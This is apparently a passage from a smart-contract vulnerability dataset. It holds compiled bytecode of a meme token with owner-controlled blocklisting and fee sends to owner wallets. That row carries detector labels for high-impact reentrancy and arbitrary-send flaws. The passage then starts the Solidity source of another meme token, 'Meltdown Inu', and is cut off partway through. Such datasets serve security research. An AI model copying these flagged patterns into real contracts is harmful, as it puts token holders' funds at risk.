} | 0x60806040526004361061016a5760003560e01c806370a08231116100d1578063c3c8cd801161008a578063cf0848f711610064578063cf0848f7146104fb578063db92dbb614610524578063dd62ed3e1461054f578063e6ec64ec1461058c57610171565b8063c3c8cd80146104a4578063c4081a4c146104bb578063c9567bf9146104e457610171565b806370a0823114610394578063715018a6146103d15780638da5cb5b146103e857806395d89b4114610413578063a9059cbb1461043e578063b515566a1461047b57610171565b8063313ce56711610123578063313ce5671461029a5780633bbac579146102c5578063437823ec146103025780634b740b161461032b5780635d098b38146103545780636fc3eaec1461037d57610171565b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101de57806323b872dd14610209578063273123b71461024657806327f3a72a1461026f57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105b5565b6040516101989190613285565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612daf565b6105f2565b6040516101d5919061326a565b60405180910390f35b3480156101ea57600080fd5b506101f3610610565b6040516102009190613407565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612d5c565b610621565b60405161023d919061326a565b60405180910390f35b34801561025257600080fd5b5061026d60048036038101906102689190612c95565b6106fa565b005b34801561027b57600080fd5b506102846107ea565b6040516102919190613407565b60405180910390f35b3480156102a657600080fd5b506102af6107fa565b6040516102bc919061347c565b60405180910390f35b3480156102d157600080fd5b506102ec60048036038101906102e79190612c95565b610803565b6040516102f9919061326a565b60405180910390f35b34801561030e57600080fd5b5061032960048036038101906103249190612cef565b610859565b005b34801561033757600080fd5b50610352600480360381019061034d9190612e38565b610915565b005b34801561036057600080fd5b5061037b60048036038101906103769190612cef565b610993565b005b34801561038957600080fd5b50610392610b0a565b005b3480156103a057600080fd5b506103bb60048036038101906103b69190612c95565b610b7c565b6040516103c89190613407565b60405180910390f35b3480156103dd57600080fd5b506103e6610bcd565b005b3480156103f457600080fd5b506103fd610d20565b60405161040a919061319c565b60405180910390f35b34801561041f57600080fd5b50610428610d49565b6040516104359190613285565b60405180910390f35b34801561044a57600080fd5b5061046560048036038101906104609190612daf565b610d86565b604051610472919061326a565b60405180910390f35b34801561048757600080fd5b506104a2600480360381019061049d9190612def565b610da4565b005b3480156104b057600080fd5b506104b9610fb4565b005b3480156104c757600080fd5b506104e260048036038101906104dd9190612e92565b61102e565b005b3480156104f057600080fd5b506104f96110a7565b005b34801561050757600080fd5b50610522600480360381019061051d9190612cef565b6115d2565b005b34801561053057600080fd5b5061053961168e565b6040516105469190613407565b60405180910390f35b34801561055b57600080fd5b5061057660048036038101906105719190612d1c565b6116c0565b6040516105839190613407565b60405180910390f35b34801561059857600080fd5b506105b360048036038101906105ae9190612e92565b611747565b005b60606040518060400160405280600b81526020017f415354524f205055535359000000000000000000000000000000000000000000815250905090565b60006106066105ff6117c0565b84846117c8565b6001905092915050565b6000683635c9adc5dea00000905090565b600061062e848484611993565b6106ef8461063a6117c0565b6106ea85604051806060016040528060288152602001613b8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106a06117c0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fe59092919063ffffffff16565b6117c8565b600190509392505050565b6107026117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078690613347565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006107f530610b7c565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661089a6117c0565b73ffffffffffffffffffffffffffffffffffffffff16146108ba57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109566117c0565b73ffffffffffffffffffffffffffffffffffffffff161461097657600080fd5b80601060156101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d46117c0565b73ffffffffffffffffffffffffffffffffffffffff16146109f457600080fd5b600060056000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b4b6117c0565b73ffffffffffffffffffffffffffffffffffffffff1614610b6b57600080fd5b6000479050610b7981612049565b50565b6000610bc6600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612144565b9050919050565b610bd56117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5990613347565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4150555353590000000000000000000000000000000000000000000000000000815250905090565b6000610d9a610d936117c0565b8484611993565b6001905092915050565b610dac6117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3090613347565b60405180910390fd5b60005b8151811015610fb057601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610e9157610e906137d6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610f255750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f0457610f036137d6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15610f9d57600160066000848481518110610f4357610f426137d6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080610fa89061372f565b915050610e3c565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ff56117c0565b73ffffffffffffffffffffffffffffffffffffffff161461101557600080fd5b600061102030610b7c565b905061102b816121b2565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661106f6117c0565b73ffffffffffffffffffffffffffffffffffffffff161461108f57600080fd5b600181111561109d57600080fd5b8060098190555050565b6110af6117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461113c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113390613347565b60405180910390fd5b601060149054906101000a900460ff161561118c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611183906133c7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061121c30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006117c8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561126257600080fd5b505afa158015611276573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129a9190612cc2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156112fc57600080fd5b505afa158015611310573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113349190612cc2565b6040518363ffffffff1660e01b81526004016113519291906131b7565b602060405180830381600087803b15801561136b57600080fd5b505af115801561137f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a39190612cc2565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061142c30610b7c565b600080611437610d20565b426040518863ffffffff1660e01b815260040161145996959493929190613209565b6060604051808303818588803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114ab9190612ebf565b505050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161154d9291906131e0565b602060405180830381600087803b15801561156757600080fd5b505af115801561157b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159f9190612e65565b506001601060146101000a81548160ff021916908315150217905550610e10426115c9919061353d565b60118190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116136117c0565b73ffffffffffffffffffffffffffffffffffffffff161461163357600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006116bb601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886117c0565b73ffffffffffffffffffffffffffffffffffffffff16146117a857600080fd5b60078111156117b657600080fd5b80600a8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182f906133a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189f906132e7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119869190613407565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fa90613387565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6a906132a7565b60405180910390fd5b60008111611ab6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aad90613367565b60405180910390fd5b611abe610d20565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b2c5750611afc610d20565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f0b57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611bd55750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611bde57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c895750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cdf5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9b57601060149054906101000a900460ff16611d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2a906133e7565b60405180910390fd5b426011541115611d9a576000611d4883610b7c565b9050611d7a6064611d6c6002683635c9adc5dea0000061243a90919063ffffffff16565b6124b590919063ffffffff16565b611d8d82846124ff90919063ffffffff16565b1115611d9857600080fd5b505b5b6000611da630610b7c565b9050601060169054906101000a900460ff16158015611e135750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e2b5750601060149054906101000a900460ff165b15611f09576000811115611eef57611e8a6064611e7c6005611e6e601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b61243a90919063ffffffff16565b6124b590919063ffffffff16565b811115611ee557611ee26064611ed46005611ec6601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b61243a90919063ffffffff16565b6124b590919063ffffffff16565b90505b611eee816121b2565b5b60004790506000811115611f0757611f0647612049565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fb25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611fc95750601060159054906101000a900460ff165b15611fd357600090505b611fdf8484848461255d565b50505050565b600083831115829061202d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120249190613285565b60405180910390fd5b506000838561203c919061361e565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120996002846124b590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156120c4573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121156002846124b590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612140573d6000803e3d6000fd5b5050565b600060075482111561218b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612182906132c7565b60405180910390fd5b600061219561258a565b90506121aa81846124b590919063ffffffff16565b915050919050565b6001601060166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121ea576121e9613805565b5b6040519080825280602002602001820160405280156122185781602001602082028036833780820191505090505b50905030816000815181106122305761222f6137d6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156122d257600080fd5b505afa1580156122e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061230a9190612cc2565b8160018151811061231e5761231d6137d6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061238530600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117c8565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123e9959493929190613422565b600060405180830381600087803b15801561240357600080fd5b505af1158015612417573d6000803e3d6000fd5b50505050506000601060166101000a81548160ff02191690831515021790555050565b60008083141561244d57600090506124af565b6000828461245b91906135c4565b905082848261246a9190613593565b146124aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a190613327565b60405180910390fd5b809150505b92915050565b60006124f783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506125b5565b905092915050565b600080828461250e919061353d565b905083811015612553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254a90613307565b60405180910390fd5b8091505092915050565b8061256b5761256a612618565b5b61257684848461265b565b8061258457612583612826565b5b50505050565b600080600061259761283a565b915091506125ae81836124b590919063ffffffff16565b9250505090565b600080831182906125fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f39190613285565b60405180910390fd5b506000838561260b9190613593565b9050809150509392505050565b600060095414801561262c57506000600a54145b1561263657612659565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b60008060008060008061266d8761289c565b9550955095509550955095506126cb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061276085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ff90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ac8161294e565b6127b68483612a0b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128139190613407565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b600080600060075490506000683635c9adc5dea000009050612870683635c9adc5dea000006007546124b590919063ffffffff16565b82101561288f57600754683635c9adc5dea00000935093505050612898565b81819350935050505b9091565b60008060008060008060008060006128b98a600954600a54612a45565b92509250925060006128c961258a565b905060008060006128dc8e878787612adb565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061294683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fe5565b905092915050565b600061295861258a565b9050600061296f828461243a90919063ffffffff16565b90506129c381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ff90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612a208260075461290490919063ffffffff16565b600781905550612a3b816008546124ff90919063ffffffff16565b6008819055505050565b600080600080612a716064612a63888a61243a90919063ffffffff16565b6124b590919063ffffffff16565b90506000612a9b6064612a8d888b61243a90919063ffffffff16565b6124b590919063ffffffff16565b90506000612ac482612ab6858c61290490919063ffffffff16565b61290490919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612af4858961243a90919063ffffffff16565b90506000612b0b868961243a90919063ffffffff16565b90506000612b22878961243a90919063ffffffff16565b90506000612b4b82612b3d858761290490919063ffffffff16565b61290490919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612b77612b72846134bc565b613497565b90508083825260208201905082856020860282011115612b9a57612b99613839565b5b60005b85811015612bca5781612bb08882612bd4565b845260208401935060208301925050600181019050612b9d565b5050509392505050565b600081359050612be381613b26565b92915050565b600081519050612bf881613b26565b92915050565b600081359050612c0d81613b3d565b92915050565b600082601f830112612c2857612c27613834565b5b8135612c38848260208601612b64565b91505092915050565b600081359050612c5081613b54565b92915050565b600081519050612c6581613b54565b92915050565b600081359050612c7a81613b6b565b92915050565b600081519050612c8f81613b6b565b92915050565b600060208284031215612cab57612caa613843565b5b6000612cb984828501612bd4565b91505092915050565b600060208284031215612cd857612cd7613843565b5b6000612ce684828501612be9565b91505092915050565b600060208284031215612d0557612d04613843565b5b6000612d1384828501612bfe565b91505092915050565b60008060408385031215612d3357612d32613843565b5b6000612d4185828601612bd4565b9250506020612d5285828601612bd4565b9150509250929050565b600080600060608486031215612d7557612d74613843565b5b6000612d8386828701612bd4565b9350506020612d9486828701612bd4565b9250506040612da586828701612c6b565b9150509250925092565b60008060408385031215612dc657612dc5613843565b5b6000612dd485828601612bd4565b9250506020612de585828601612c6b565b9150509250929050565b600060208284031215612e0557612e04613843565b5b600082013567ffffffffffffffff811115612e2357612e2261383e565b5b612e2f84828501612c13565b91505092915050565b600060208284031215612e4e57612e4d613843565b5b6000612e5c84828501612c41565b91505092915050565b600060208284031215612e7b57612e7a613843565b5b6000612e8984828501612c56565b91505092915050565b600060208284031215612ea857612ea7613843565b5b6000612eb684828501612c6b565b91505092915050565b600080600060608486031215612ed857612ed7613843565b5b6000612ee686828701612c80565b9350506020612ef786828701612c80565b9250506040612f0886828701612c80565b9150509250925092565b6000612f1e8383612f2a565b60208301905092915050565b612f3381613652565b82525050565b612f4281613652565b82525050565b6000612f53826134f8565b612f5d818561351b565b9350612f68836134e8565b8060005b83811015612f99578151612f808882612f12565b9750612f8b8361350e565b925050600181019050612f6c565b5085935050505092915050565b612faf81613676565b82525050565b612fbe816136b9565b82525050565b6000612fcf82613503565b612fd9818561352c565b9350612fe98185602086016136cb565b612ff281613848565b840191505092915050565b600061300a60238361352c565b915061301582613859565b604082019050919050565b600061302d602a8361352c565b9150613038826138a8565b604082019050919050565b600061305060228361352c565b915061305b826138f7565b604082019050919050565b6000613073601b8361352c565b915061307e82613946565b602082019050919050565b600061309660218361352c565b91506130a18261396f565b604082019050919050565b60006130b960208361352c565b91506130c4826139be565b602082019050919050565b60006130dc60298361352c565b91506130e7826139e7565b604082019050919050565b60006130ff60258361352c565b915061310a82613a36565b604082019050919050565b600061312260248361352c565b915061312d82613a85565b604082019050919050565b600061314560178361352c565b915061315082613ad4565b602082019050919050565b600061316860188361352c565b915061317382613afd565b602082019050919050565b613187816136a2565b82525050565b613196816136ac565b82525050565b60006020820190506131b16000830184612f39565b92915050565b60006040820190506131cc6000830185612f39565b6131d96020830184612f39565b9392505050565b60006040820190506131f56000830185612f39565b613202602083018461317e565b9392505050565b600060c08201905061321e6000830189612f39565b61322b602083018861317e565b6132386040830187612fb5565b6132456060830186612fb5565b6132526080830185612f39565b61325f60a083018461317e565b979650505050505050565b600060208201905061327f6000830184612fa6565b92915050565b6000602082019050818103600083015261329f8184612fc4565b905092915050565b600060208201905081810360008301526132c081612ffd565b9050919050565b600060208201905081810360008301526132e081613020565b9050919050565b6000602082019050818103600083015261330081613043565b9050919050565b6000602082019050818103600083015261332081613066565b9050919050565b6000602082019050818103600083015261334081613089565b9050919050565b60006020820190508181036000830152613360816130ac565b9050919050565b60006020820190508181036000830152613380816130cf565b9050919050565b600060208201905081810360008301526133a0816130f2565b9050919050565b600060208201905081810360008301526133c081613115565b9050919050565b600060208201905081810360008301526133e081613138565b9050919050565b600060208201905081810360008301526134008161315b565b9050919050565b600060208201905061341c600083018461317e565b92915050565b600060a082019050613437600083018861317e565b6134446020830187612fb5565b81810360408301526134568186612f48565b90506134656060830185612f39565b613472608083018461317e565b9695505050505050565b6000602082019050613491600083018461318d565b92915050565b60006134a16134b2565b90506134ad82826136fe565b919050565b6000604051905090565b600067ffffffffffffffff8211156134d7576134d6613805565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613548826136a2565b9150613553836136a2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561358857613587613778565b5b828201905092915050565b600061359e826136a2565b91506135a9836136a2565b9250826135b9576135b86137a7565b5b828204905092915050565b60006135cf826136a2565b91506135da836136a2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561361357613612613778565b5b828202905092915050565b6000613629826136a2565b9150613634836136a2565b92508282101561364757613646613778565b5b828203905092915050565b600061365d82613682565b9050919050565b600061366f82613682565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006136c4826136a2565b9050919050565b60005b838110156136e95780820151818401526020810190506136ce565b838111156136f8576000848401525b50505050565b61370782613848565b810181811067ffffffffffffffff8211171561372657613725613805565b5b80604052505050565b600061373a826136a2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561376d5761376c613778565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b613b2f81613652565b8114613b3a57600080fd5b50565b613b4681613664565b8114613b5157600080fd5b50565b613b5d81613676565b8114613b6857600080fd5b50565b613b74816136a2565b8114613b7f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206bf9c6f1978132af59ac0813642c2fa31f753c301bf3b32125c5b96d074ab5ab64736f6c63430008050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 675 |
0x7c7a8c8d477e1c0fd1b6518e8c20a4e8344e8af9 | /**
*Submitted for verification at Etherscan.io on 2022-02-28
*/
/**
*Submitted for verification at Etherscan.io on 2022-02-28
*/
/**
Meltdown Inu - $MELT
Telegram: https://t.me/meltdowninu
Website: https://meltdowninu.com
Twitter: https://twitter.com/MeltdownInu
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
